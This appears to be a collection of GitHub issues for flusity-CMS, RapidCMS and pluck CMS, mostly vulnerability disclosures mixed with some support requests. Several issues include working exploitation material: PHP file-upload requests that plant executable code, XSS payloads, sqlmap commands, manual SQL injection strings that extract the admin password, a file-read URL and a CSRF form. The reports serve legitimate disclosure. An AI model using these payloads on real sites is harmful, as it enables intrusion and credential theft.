Intercept traffic packets, modify filename to a PHP file name suffix, and change the content to PHP code.
```
POST /core/tools/upload.php HTTP/1.1
Host: xxxxx
Content-Length: 164075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fluency
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAY81e4VlxYZXQEi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fluency/core/tools/files.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=k2l9ec3hfjhj2f19d5lml13qal
Connection: close
------WebKitFormBoundaryiAY81e4VlxYZXQEi
Content-Disposition: form-data; name="uploaded_file"; filename="a.php"
Content-Type: image/png
<?php echo "20231025";?>
------WebKitFormBoundaryiAY81e4VlxYZXQEi--
```
view uploaded files
execute php code correctly
on line 15 of upload.php：
```
$allowed_file_types = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'];
$max_file_size = 5 * 1024 * 1024;
$file_id = handleFileUpload($db, $prefix['table_prefix'], $target_dir, $allowed_file_types, $max_file_size);
```
It is not enough to filter file_types, you need to filter the file name
| Unrestricted Upload of File with Dangerous Type in upload.php | https://api.github.com/repos/flusity/flusity-CMS/issues/4/comments | 1 | 2023-10-25T12:24:31Z | 2024-04-19T02:35:55Z | https://github.com/flusity/flusity-CMS/issues/4 | 1,961,299,199 | 4 |
[
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select posts
enter payload
`?menu_id=3);</script><script>alert(1024)</script>`
execution results
Use burpsuite to capture packets.
The vulnerable code location is line 274 in core/tools/posts.php
```
if (isset($_GET['menu_id'])) {
$menu_id = $_GET['menu_id'];
echo "<script>loadPostAddForm($menu_id);</script>";
}
``` | menu_id in posts.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/3/comments | 3 | 2023-10-24T10:40:44Z | 2024-04-19T02:35:06Z | https://github.com/flusity/flusity-CMS/issues/3 | 1,958,975,399 | 3 |
[
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
select posts
enter payload
`?edit_post_id=3);</script><script>alert(1024)</script>`
execution results
Use burpsuite to capture packets.
```
if (isset($_GET['edit_post_id'])) {
$edit_post_id = $_GET['edit_post_id'];
echo "<script>loadPostEditForm($edit_post_id);</script>";
}
```
The vulnerable code location is line 274 in core/tools/posts.php
| edit_post_id in posts.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/2/comments | 4 | 2023-10-24T10:36:35Z | 2023-10-24T17:50:22Z | https://github.com/flusity/flusity-CMS/issues/2 | 1,958,967,105 | 2 |
[
"flusity",
"flusity-CMS"
] | After installation, log in to the backend using the default account password tester/1234
Select block
Use burpsuite to capture packets.Enter payload
Execution results
payload：`?customblock_place=1');</script><script>alert('1`
source code
/core/tools/customblock.php
```
if (isset($_GET['customblock_place'])) {
$customblock_place = $_GET['customblock_place'];
echo "<script>loadCustomBlocCreateForm('$customblock_place');</script>";
}
```
| Customblock in customblock.php_ XSS (Cross Site Scripting) exists for the place parameter | https://api.github.com/repos/flusity/flusity-CMS/issues/1/comments | 2 | 2023-10-23T07:43:56Z | 2024-04-19T02:35:15Z | https://github.com/flusity/flusity-CMS/issues/1 | 1,956,552,703 | 1 |
[
"yhy217",
"rapidcms-vul"
] | [Suggested description]
An arbitrary file upload vulnerability in /admin/config/uploadicon.php which allows attackers to getshell
RapidCMS Dev.1.3.1 was discovered to contain an arbitrary file upload vulnerability in /admin/config/uploadicon.php which leads to getshell
[Vulnerability Type]
arbitrary file upload
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
/admin/config/uploadicon.php
affected function: isImg()
```
function isImg($fileName)
{
$file = fopen($fileName, "rb");
$bin = fread($file, 2); // 只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'] . $strInfo['chars2']);
$fileType = '';
if ($typeCode == 255216 /*jpg*/ || $typeCode == 7173 /*gif*/ || $typeCode == 13780 /*png*/) {
return $typeCode;
} else {
// echo '"仅允许上传jpg/jpeg/gif/png格式的图片！';
return false;
}
}
```
[Attack Type]
Remote
[Impact]
Code Execution
[Vulnerability demonstration]
1.First, create a Trojan horse for uploading:
Open a regular image 9. png as text and add test code(<?php phpinfo();?>) at the end of the text.Then change the file name to 9.php
<img width="339" alt="屏幕截图 2023-09-18 165054" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/b3b897fe-c625-441f-b87a-6930b2f7d785">
2. we can register an admin account [username:admin / password:admin] .Then enter the website backend and visit the seeting interface(http://localhost:8096/admin/config/setting.php).Then click the Icon upload interface.
<img width="701" alt="屏幕截图 2023-09-18 164513" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/ae84b9fb-513b-46a6-91d2-4c3cc694ad89">
3.choose the Trojan horse we created,and click the upload button.It is found that the Trojan horse is successfully uploaded,and the file path is displayed.(The file suffix name is .php,so file upload vulnerabilities are likely to exist)
file path:upload/upload_71e8991cd0a67bcc371061aa0a95bf82.php
<img width="588" alt="屏幕截图 2023-09-18 165823" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/08333bdb-541c-4536-a431-067a206da722">
4.Accessing the vulnerability URL(http://localhost:8096/upload/upload_71e8991cd0a67bcc371061aa0a95bf82.php) and discovering that the test code(<?php phpinfo();?>) has been executed.
<img width="1280" alt="image" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/ca9f94a2-c198-417d-9932-a8356718fd7e">
[Cause of vulnerability]
In the file admin/config/uploadicon.php, only the first few bytes of the uploaded icon file were detected, so we considered creating a Trojan 9. php file with an image byte as the first byte to bypass it
<img width="723" alt="屏幕截图 2023-09-18 170703" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/3a3232ac-018a-4161-b3d8-7509de4a328f">
The Trojan used for file upload vulnerability has been provided in https://github.com/yhy217/rapidcms-vul/blob/main/9.php
| RapidCMS has an arbitrary file upload vulnerability | https://api.github.com/repos/yhy217/rapidcms-vul/issues/5/comments | 0 | 2023-09-18T09:19:43Z | 2023-09-18T09:31:07Z | https://github.com/yhy217/rapidcms-vul/issues/5 | 1,900,514,277 | 5 |
[
"yhy217",
"rapidcms-vul"
] |
[Suggested description]
RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in /resource/addgood.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /resource/addgood.php
Parameter： id
[Attack Type]
Remote
[Vulnerability demonstration]
1.using hackbar,use post method to access http://localhost:8095/resource/addgood.php,postdata:id=1*,click execute buuton
<img width="703" alt="屏幕截图 2023-09-18 111433" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/54299124-5fc6-4727-81e8-a16703372948">
2. use BurpSuit to capture packets and copy request packet in 175.txt In the directory of sqlmap.
------
the data in 175.txt:
POST /resource/addgood.php HTTP/1.1
Host: localhost:8096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://localhost:8096
Connection: close
Referer: http://localhost:8096/resource/addgood.php
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7; user=e4W4h250M9DaA6xa; name=yhy001
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
id=1*
-------
3.run the command python sqlmap.py -r 175.txt --risk=3 --level=5 --current-db
After the probe is completed, SQL injection vulnerability is found in the id parameter,and the current database name is obtained
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1" AND (SELECT 1415 FROM (SELECT(SLEEP(5)))IZIr)-- VZWO
---
<img width="705" alt="屏幕截图 2023-09-18 112306" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/acd0ca94-327b-41a7-8595-7830526d1f24">
[Cause of vulnerability]
In /resource/addgood.php , the user can control the value of id and the system does not validate the
validity of the user's input. The attacker can use double quotation marks to splice SQL statements, thus
causing SQL injection
[Repair suggestions]
Verify the legitimacy of user input.
<img width="699" alt="image" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/af3eb5ee-b327-4e6f-86f5-ce3099933ce0">
| SQL injection vulnerability exists in RapidCMS Dev.1.3.1 | https://api.github.com/repos/yhy217/rapidcms-vul/issues/4/comments | 0 | 2023-09-18T03:26:39Z | 2023-09-18T03:26:39Z | https://github.com/yhy217/rapidcms-vul/issues/4 | 1,900,098,176 | 4 |
[
"yhy217",
"rapidcms-vul"
] | SQL injection vulnerability exists in RapidCMS Dev.1.3.1
[Suggested description]
RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in /admin/category/cate-edit-run.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/category/cate-edit-run.php
Parameter： id
[Attack Type]
Remote
[Vulnerability demonstration]
[Vulnerability demonstration]
1.After logging in as an administrator account, access http://localhost:8094/admin/category/category.php
2.click the edit button and use BurpSuit to capture packets and copy the request packets in the file 173.txt as the file for sqlmap to run.
The request packets in 173.txt:
```
POST /admin/category/cate-edit-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/category/cate-edit.php?id=1
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
name=%E9%BB%98%E8%AE%A4%E5%88%86%E7%B1%BB&pic=%26%23xe05e%3B&num=0&sub=&id=1*
```
/*
Add an * sign after the parameter id in order to quickly locate vulnerability points
*/
<img width="699" alt="屏幕截图 2023-09-17 230134" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/08469017-9d36-496b-b5a7-132729ed5deb">
In sqlmap,run the command
python sqlmap -r 173.txt --current-db --risk=3 --level=5
after the probe ,it is found that there is SQL injection at parameter id and obtain the name of databases;
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=%E9%BB%98%E8%AE%A4%E5%88%86%E7%B1%BB&pic=%26#xe05e;&num=0&sub=&id=1" AND (SELECT 8458 FROM (SELECT(SLEEP(5)))koRh)-- geTB
---
<img width="702" alt="屏幕截图 2023-09-17 230727" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/75bfc97f-2367-44d6-85e8-07f56b5b885c">
[Cause of vulnerability]
In /admin/category/cate-edit-run.php , the user can control the value of id and the system does not validate the
validity of the user's input. The attacker can use double quotation marks to splice SQL statements, thus
causing SQL injection[Repair suggestions]
Verify the legitimacy of user input.
<img width="707" alt="屏幕截图 2023-09-17 230615" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/74c4b107-471f-4bd9-aa42-5c4dfbbad80b">
| SQL injection vulnerability exists in RapidCMS Dev.1.3.1 --2 | https://api.github.com/repos/yhy217/rapidcms-vul/issues/3/comments | 0 | 2023-09-17T15:10:01Z | 2023-09-17T15:10:01Z | https://github.com/yhy217/rapidcms-vul/issues/3 | 1,899,815,211 | 3 |
[
"yhy217",
"rapidcms-vul"
] | SQL injection vulnerability exists in
RapidCMS Dev.1.3.1
[Suggested description]
RapidCMS Dev.1.3.1 was discovered to contain SQL injection vulnerability in /admin/article/article-edit-run.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/article/article-edit-run.php
Parameter： id
[Attack Type]
Remote
[Vulnerability demonstration]
1.After logging in as an administrator account, access http://localhost:8094/admin/article/article.php
2.click the edit button and use BurpSuit to capture packets and copy the request packets in the file 172.txt as the file for sqlmap to run.
The request packets in `172.txt:`:
```
POST /admin/article/article-edit-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/article/article-edit.php?id=0000000002&name=ra
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
title=sadawd&categoryid=1&file=&content=%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E&id=0000000002*
```
/*
Add an * sign after the parameter id in order to quickly locate vulnerability points
*/
<img width="706" alt="屏幕截图 2023-09-17 223856" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/9117e860-8e8e-48a3-9313-4efdbc5727ed">
3.In sqlmap,run the command
python sqlmap -r 172.txt --current-db --risk=3 --level=5
after the probe ,it is found that there is SQL injection at parameter id and obtain the name of databases;
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
Payload: title=sadawd&categoryid=1&file=&content=<p>wadawd<br></p><p><br></p>&id=0000000002" OR (SELECT 1743 FROM (SELECT(SLEEP(5)))udQu) AND "BfZx"="BfZx
---
<img width="707" alt="屏幕截图 2023-09-17 224102" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/cd4dfc08-9f55-4d8b-8abb-9b7136c3bc32">
[Cause of vulnerability]
In /admin/article/article-edit-run.php , the user can control the value of id and the system does not validate the
validity of the user's input. The attacker can use double quotation marks to splice SQL statements, thus
causing SQL injection[Repair suggestions]
Verify the legitimacy of user input.
<img width="709" alt="屏幕截图 2023-09-17 224140" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/192a2265-d35d-4ad0-9789-0ee2d9a61c1c">
| SQL injection vulnerability exists in RapidCMS Dev.1.3.1 | https://api.github.com/repos/yhy217/rapidcms-vul/issues/2/comments | 0 | 2023-09-17T14:41:57Z | 2023-09-17T14:55:15Z | https://github.com/yhy217/rapidcms-vul/issues/2 | 1,899,806,533 | 2 |
[
"yhy217",
"rapidcms-vul"
] | **RapidCMS Dev.1.3.1 was discovered to contain SQL injection(post) vulnerability in /admin/article/article-add-run.php. **
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/OpenRapid/rapidcms
[Affected Product Code Base]
RapidCMS Dev.1.3.1
[Affected Component]
File： /admin/article/article-add-run.php
Parameter： id
**the data packet which trigger sql injection:**
POST /admin/article/article-add-run.php HTTP/1.1
Host: localhost:8094
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 182
Origin: http://localhost:8094
Connection: close
Referer: http://localhost:8094/admin/article/article-add.php
Cookie: PHPSESSID=su3eg6251ks1n2i43n36fqbn46; admin=Y6W6Rbt6a5W546O0O0O7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
title=asdaw&file=&content=%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E&categoryid=1&id=1111111116",(select password from rapidcmsadmin),"%3Cp%3Ewadawd%3Cbr%3E%3C%2Fp%3E","2023-9-17","1") -- adawd
In the article viewing section(http://localhost:8094/admin/article/article.php),discovering that SQL injection has been triggered, retrieve the current user name of the database and display it in the title
<img width="854" alt="屏幕截图 2023-09-17 171753" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/ce6fefcf-d4c7-435e-8e89-013f3a6fadfa">
**Code Audit Process**
the code that controling Adding articles in the background site
/admin/article/article-add-run.php
<img width="708" alt="屏幕截图 2023-09-17 173520" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/e5a6b26a-e4c4-4997-82f8-878be416fecf">
the code that is unsafe:
$str='INSERT INTO `rapidcmspage`(`id`, `title`, `content`, `time`, `categoryid`) VALUES ("'.$_POST["id"].'","'.rawurlencode($_POST["title"]).'","'.$cont2.'","'.$timenow.'","'.$_POST["categoryid"].'")';
The parameter ID has not been filtered and can be considered to construct a closure and insert an internal query statement (select user()) in the title field
The site successfully executed internal query statements and saved the results in the title field of the newly added article, in the article viewing section(http://localhost:8094/admin/article/article.php),it is able to see the result of internal query statement
attention:Because the injection was caused by an insert statement and the parameter ID where the injection occurred is a non repeatable primary key, the ID in the payload cannot be repeated every time
**Reproduction process:**
1.After the installation is completed, enter the background add article interface
http://localhost:8094/admin/article/article-add.php
<img width="820" alt="屏幕截图 2023-09-17 171348" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/2e7d8d4f-20e1-4347-8c05-02d0108d9e69">
2.write payload in the "唯一ID": 1111111118",(select user()),"aaaaa","2023-9-17","1") -- adawd
3. Click on the confirm button
4. In the article viewing section(http://localhost:8094/admin/article/article.php),discovering that SQL injection has been triggered, retrieve the current user name of the database and display it in the title
<img width="854" alt="屏幕截图 2023-09-17 171753" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/ce6fefcf-d4c7-435e-8e89-013f3a6fadfa">
**Complete process of obtaining sensitive database information**
Due to the presence of non repeatable primary key fields in SQL statements, tool injection is difficult. It is recommended to manually inject them
write the payload in the "唯一ID" in the adding articles site(http://localhost:8094/admin/article/article-add.php),and see the result of sql injection in the article viewing section(http://localhost:8094/admin/article/article.php)
1.check the version of database
0000000001",(select version()),"aaaaa","2023-9-17","1") -- +
<img width="766" alt="屏幕截图 2023-09-17 173327" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/dfd84775-6f07-40fa-b98d-eb6847a1d71d">
2.check the name of current database
0000000002",(select database()),"aaaaa","2023-9-17","1") -- +
<img width="683" alt="屏幕截图 2023-09-17 173331" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/f32fb297-bd62-4303-b198-54a5f8dbaf2c">
3.Obtain the data table name in the RA database
0000000003",(select group_concat(table_name) from information_schema.tables where table_schema=database()),"aaaaa","2023-9-17","1") -- +
<img width="688" alt="屏幕截图 2023-09-17 173336" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/e441b5b9-e088-4a53-872c-f9add051e71f">
4. Obtain all fields in the ra.rapidcmsadmin data table
0000000004",(select group_concat(column_name) from information_schema.columns where table_name='rapidcmsadmin' and table_schema=database()),"aaaaa","2023-9-17","1") -- +
<img width="684" alt="屏幕截图 2023-09-17 173340" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/730c2f46-e2d8-4116-9be6-4f20475ed3cd">
6.Obtain data for the password field in the ra.rapidcmsadmin data table
0000000005",(select password from rapidcmsadmin),"aaaaa","2023-9-17","1") -- +
<img width="731" alt="屏幕截图 2023-09-17 173344" src="https://github.com/yhy217/rapidcms-vul/assets/128808033/b44bbb4b-4a93-4fab-8440-213de53a6495">
| the sql injection in background of rapidcms ---1 | https://api.github.com/repos/yhy217/rapidcms-vul/issues/1/comments | 0 | 2023-09-17T09:38:55Z | 2023-09-17T10:04:06Z | https://github.com/yhy217/rapidcms-vul/issues/1 | 1,899,721,898 | 1 |
[
"pluck-cms",
"pluck"
] | Dear team, I own 2 systems, both systems hosted @ same webhost. 1 System is still running fine the other one stopped working in a weired manner.
1. Images have gone
2. Files cannot be downloaded anymore. I get this
Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator at root@localhost to inform them of the time this error occurred, and the actions you performed just before this error.
More information about this error may be available in the server error log.
What I did: I updated to latest Pluck but it did not solve :-/
Kind regards | Uploaded file causes Internal server error | https://api.github.com/repos/pluck-cms/pluck/issues/124/comments | 2 | 2024-07-29T16:08:54Z | 2024-07-29T17:02:14Z | https://github.com/pluck-cms/pluck/issues/124 | 2,435,816,051 | 124 |
[
"pluck-cms",
"pluck"
] | Dear PluckCMS team,
We are writing to you from INCIBE (https://www.incibe.es), the National Institute of Cybersecurity of Spain, about a vulnerability reported by an external researcher in one of your products.
We participate in the CVE Program as a CNA Root (https://www.cve.org/ProgramOrganization/Structure) , which enables us to assign and publish CVE codes.
Note that this report is not about an incident, nobody is exploiting the vulnerability. Simply, from INCIBE we take care of managing the CVE report, documentation and publication, in coordination with the affected parties.
As established in our disclosure policy (https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-assignment-publication), we are going to make this vulnerability public by the 9th of April.
If you want to provide an email, we will send you the vulnerability draft.
Thank you very much and kind regards, | [INC-2024-0005] CVE coordination on Pluck CMS | https://api.github.com/repos/pluck-cms/pluck/issues/123/comments | 2 | 2024-02-09T14:26:48Z | 2024-02-13T09:43:24Z | https://github.com/pluck-cms/pluck/issues/123 | 2,127,255,721 | 123 |
[
"pluck-cms",
"pluck"
] | Hello,
I sent you this vulnerability months ago and you have not answered me.
I leave it here, so that at least it is identified by the users in case someone wants to patch it (or take other measures).
I have detected that the file "albums_getimage.php" uses the parameter "?image=", it does not check that the file that is passed is an image file, making a remote and unauthenticated attacker manage to read the contents of arbitrary files (eg PHP, which can only be read at the server level).
Although in principle it does not seem that you can perform a path traversal (recursively backwards), if it can be done in the root of the album folder and forward, this could jeopardize some files customized by your end client (eg. a backup file of the password of Pluck CMS). It is also possible to list files and directories, so the attacker could list it just by accessing the directory and read it through that parameter.
**Code albums_getimage.php:**
**Proof of concept:**
From the administration panel, the existing albums are shown, being the "poc" album the one we are going to perform the proof of concept with:
Next, the file "poc.php" is shown, this file is generated through the title of the album, creating a PHP file whose content cannot be read.
But it is possible to read the content of this file through the following URL and parameter: http://192.168.174.140/data/modules/albums/albums_getimage.php?image=poc.php
By fuzzing techniques or directly visiting the folder (due to lack of an .htaccess file in this directory or other protection), the remote and unauthenticated attacker would manage to list relevant PHP files in the root folder of the album or in other folders generated by the CMS or the user himself.
In the following scenario, the Pluck CMS administrator has exposed a backup file of the application, this file contains hardcoded and encrypted administration panel password:
By reusing the vulnerable parameter and specifying the new directory and file "albums_getimage.php?image=poc/pass-backup.php", the attacker would be able to read the contents of this file and extract the password hash.
**Bonus track**
On the other hand, the Pluck CMS application lacks a proper password policy, which allows users to use poor passwords, increasing the chances of success in cracking the password hash.
In case of success, the remote attacker could hijack the application, achieving the compromise and seriously affecting the confidentiality, integrity and availability of the stored information.
It has also been detected that it is possible to upload PHP files from the file manager, the concatenation of vulnerabilities would gain access to the machine that deploys the application, increasing the scope of the attack and the possibility of lateral movement in the network.
**Mitigation**
Implement in the code some function that checks the type of files, using a white list for allowed image extensions (eg .png | .gif |jpeg...), thus preventing a malicious user from uploading other files that are not expected by the application.
Best regards, | Inclusion of files without authentication | https://api.github.com/repos/pluck-cms/pluck/issues/122/comments | 0 | 2023-12-10T18:41:55Z | 2023-12-10T18:41:55Z | https://github.com/pluck-cms/pluck/issues/122 | 2,034,486,900 | 122 |
[
"pluck-cms",
"pluck"
] | null | ls | https://api.github.com/repos/pluck-cms/pluck/issues/121/comments | 0 | 2023-10-19T07:50:42Z | 2023-11-02T18:35:45Z | https://github.com/pluck-cms/pluck/issues/121 | 1,951,522,302 | 121 |
[
"pluck-cms",
"pluck"
] | Hi
I just want to ask to whom I can address a security issue here in pluck. Thanks! | Security issue found | https://api.github.com/repos/pluck-cms/pluck/issues/120/comments | 2 | 2023-08-09T06:17:07Z | 2024-04-05T01:24:36Z | https://github.com/pluck-cms/pluck/issues/120 | 1,842,562,749 | 120 |
[
"pluck-cms",
"pluck"
] | How can i install for windows please?
| How to install for windows | https://api.github.com/repos/pluck-cms/pluck/issues/119/comments | 1 | 2023-06-07T19:37:59Z | 2023-07-14T12:59:27Z | https://github.com/pluck-cms/pluck/issues/119 | 1,746,550,656 | 119 |
[
"pluck-cms",
"pluck"
] | null | Test | https://api.github.com/repos/pluck-cms/pluck/issues/117/comments | 0 | 2022-03-13T18:14:28Z | 2022-08-13T21:01:16Z | https://github.com/pluck-cms/pluck/issues/117 | 1,167,654,118 | 117 |
[
"pluck-cms",
"pluck"
] | I have found multiple CSRF Issues on following version: 4.7.15
There is no use of Anticrsf token and Same site cookie being used. All endpoints are vulnerable even 4.7.16-dev4.
Only user needs to be logged in (no password is required to perform this issue)
**Valid POC:** (exploit.html)
```
<html><head>
<title>CSRF PoC - Generated By AppSec Labs csrf-generator</title>
</head><body>
<form action="http://localhost/admin.php?action=deletepage&var1=csrf" method="GET">
<input type="text" name="action" value="deletepage" /><br />
<input type="text" name="var1" value="csrf" /><br />
<input type='submit' value='Go!' />
</form>
</body>
</html>
```
Click on this html page and you can see you delete page/trashcan objects. The issue is being reported by me on huntr.io. I am adding this as reference for you to go over the images. | CSRF Application Wide | https://api.github.com/repos/pluck-cms/pluck/issues/116/comments | 2 | 2022-02-28T10:50:22Z | 2023-02-20T10:30:44Z | https://github.com/pluck-cms/pluck/issues/116 | 1,153,937,138 | 116 |
[
"pluck-cms",
"pluck"
] | Folks, awesome CMS! Maybe possible to add file Operation handling within the file manage Module? E.g. rename, move, delete | Possible to add ren/del/mov within file add module? | https://api.github.com/repos/pluck-cms/pluck/issues/115/comments | 2 | 2022-01-16T13:54:22Z | 2022-02-02T08:33:17Z | https://github.com/pluck-cms/pluck/issues/115 | 1,105,058,488 | 115 |
[
"pluck-cms",
"pluck"
] | Folks, I am facing issues posting new item through blog module.
I get
**FORBIDDEN, You don't have permission to access /admin.php on this server**.
weired: not anytime..
Really strange behaviour: When I create new blog item this error occurs and seems like blog item is not fully loaded in blog module view.
E.g.: I save item with content "This is 1st sentence in blog". Save then. Modify to "This is 1st sentence in blog and 1 word". safe again but still showing "This is 1st sentence in blog". Just save again. Then "This is 1st sentence in blog and 1 word" appears. Just safe again, reverses....
I can post video | Issues posting new item through blog module pluck 4.7.16 dev | https://api.github.com/repos/pluck-cms/pluck/issues/114/comments | 3 | 2021-12-30T10:55:51Z | 2022-02-27T15:36:42Z | https://github.com/pluck-cms/pluck/issues/114 | 1,091,028,406 | 114 |
[
"pluck-cms",
"pluck"
] | Folks I dont know, only PHP 5 working, I get this:
```
<html>
<body>
<!--StartFragment-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
| <html xmlns="http://www.w3.org/1999/xhtml">
|
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
| <meta name="generator" content="pluck 4.7.16 dev" />
| <title>Home</title>
| <link href="/data/themes/kalenderfamily/style.css" rel="stylesheet" type="text/css" />
| </head>
|
<br class="Apple-interchange-newline"><!--EndFragment-->
</body>
</html>
```
Tried several PHP 7, even v.8 ...
| Pluck only shows blank under PHP > 5.6.40 on PLUCK 4.7.16 dev | https://api.github.com/repos/pluck-cms/pluck/issues/113/comments | 1 | 2021-12-29T16:20:34Z | 2022-01-09T11:25:49Z | https://github.com/pluck-cms/pluck/issues/113 | 1,090,622,652 | 113 |
[
"pluck-cms",
"pluck"
] | Hey there!
I belong to an open source security research community, and a member (@k0xx11) has found an issue, but doesn’t know the best way to disclose it.
If not a hassle, might you kindly add a `SECURITY.md` file with an email, or another contact method? GitHub [recommends](https://docs.github.com/en/code-security/getting-started/adding-a-security-policy-to-your-repository) this best practice to ensure security issues are responsibly disclosed, and it would serve as a simple instruction for security researchers in the future.
Thank you for your consideration, and I look forward to hearing from you!
